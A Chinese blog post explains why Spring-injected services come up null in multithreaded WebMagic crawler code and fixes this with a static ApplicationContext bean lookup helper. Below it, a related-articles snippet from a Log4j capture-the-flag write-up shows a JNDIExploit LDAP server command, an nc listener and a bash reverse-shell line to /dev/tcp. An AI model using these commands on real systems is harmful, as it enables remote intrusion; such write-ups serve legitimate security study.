WebMagic多线程导致注解失效问题

news/发布时间2024/5/13 6:48:13

在写毕设爬虫时用到了WebMagic这个爬虫框架,由于采用了多线程进行爬取,在业务代码中发现注入的service一直为null,明明测试类使用的时候是正常的,后来查了好久的资料发现是多线程的情况下对象无法被注入。

中途一直换注解用@Autowired和@Resource试了好久,debug的方向一开始也没往多线程方向思考,歪打正着找着了解决办法,真是。。。

原因和解释可参考:多线程Spring注入对象问题的四种解法(@Autowired 注入为空)_spring 对象注入允许为空-CSDN博客

我的解决方法就是手动获取Bean,代码如下:

/*** @author Jun* @date 2024/4/9 18:54* @description BeanContext*/
@Component
public class BeanContext implements ApplicationContextAware {private static ApplicationContext applicationContext;@Overridepublic void setApplicationContext(ApplicationContext applicationContext) throws BeansException {BeanContext.applicationContext = applicationContext;}public static ApplicationContext getApplicationContext() {return applicationContext;}@SuppressWarnings("unchecked")public static <T> T getBean(String name) throws BeansException {return (T) applicationContext.getBean(name);}public static <T> T getBean(Class<T> clz) throws BeansException {return (T) applicationContext.getBean(clz);}
}// 具体使用
/*** @author Jun* @date 2024/4/9 17:14* @description NewsDataPipeline*/
@Component
@Slf4j
public class NewsDataPipeline implements Pipeline {// 多线程无法注入问题private INewsService iNewsService = BeanContext.getBean(INewsService.class);@Overridepublic void process(ResultItems resultItems, Task task) {// 业务代码}
}

参考

  1. 多线程Spring注入对象问题的四种解法(@Autowired 注入为空)_spring 对象注入允许为空-CSDN博客
  2. Java解决多线程无法@Autowired注入,手动获取Bean对象 - 趙小傑 - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ulsteruni.cn/article/33387868.html

如若内容造成侵权/违法违规/事实不符,请联系编程大学网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

web-wp

Log4j复现 进入题目在vps上启动一个简易的ldap服务,用JNDIExploit脚本 vps启动服务 java -jar JNDIExploit-1.4-SNAPSHOT.jar -i vpsip -l 1389 -p 8180在开一个会话监听端口 nc -lvvp 4567构造脚本注入,base64编码bash反弹脚本bash -i >& /dev/tcp/ip/4567 0>&…

3.RabbitMQ高级集群搭建(Haproxy负载均衡、Keepalived高可用)

前言 RabbitMQ集群搭建。 1.RabbitMQ集群原理 RabbitMQ这款消息队列中间件产品本身是基于Erlang编写,Erlang语言天生具备分布式特性(通过同步Erlang集群各节点的magic cookie来实现)。因此,RabbitMQ天然支持Clustering。这使得RabbitMQ本身不需要像ActiveMQ、Kafka那样通过…

linux操作系统介绍

介绍早先的计算机是只有操作面板,没有显示屏,是只有输入和输出。从这张图可以看到很多的信息operating system:操作系统 system and appllcation programs:系统程序与应用程序compller: 编译器 assembler:汇编器 database system:数据库系统 text editor:文本编辑器computer …

轻量化网络——MobileNet

原文链接:https://zhuanlan.zhihu.com/p/402766063 作为轻量化网络的经典网络,MobileNet自诞生就被广泛应用于工业界。笔者也经常在结构设计中使用MobileNet的诸多设计思想。本文参考众多大神文章,较详细介绍MobileNet系列的设计及改进思想,力求温故知新,举一反三。 Mobil…

PDF文件预览

在el-table组件的el-table-column中,对应“标题”列使用<template>标签自定义内容,并在其中包裹这一个div元素,设置@click事件绑定到handleClick方法。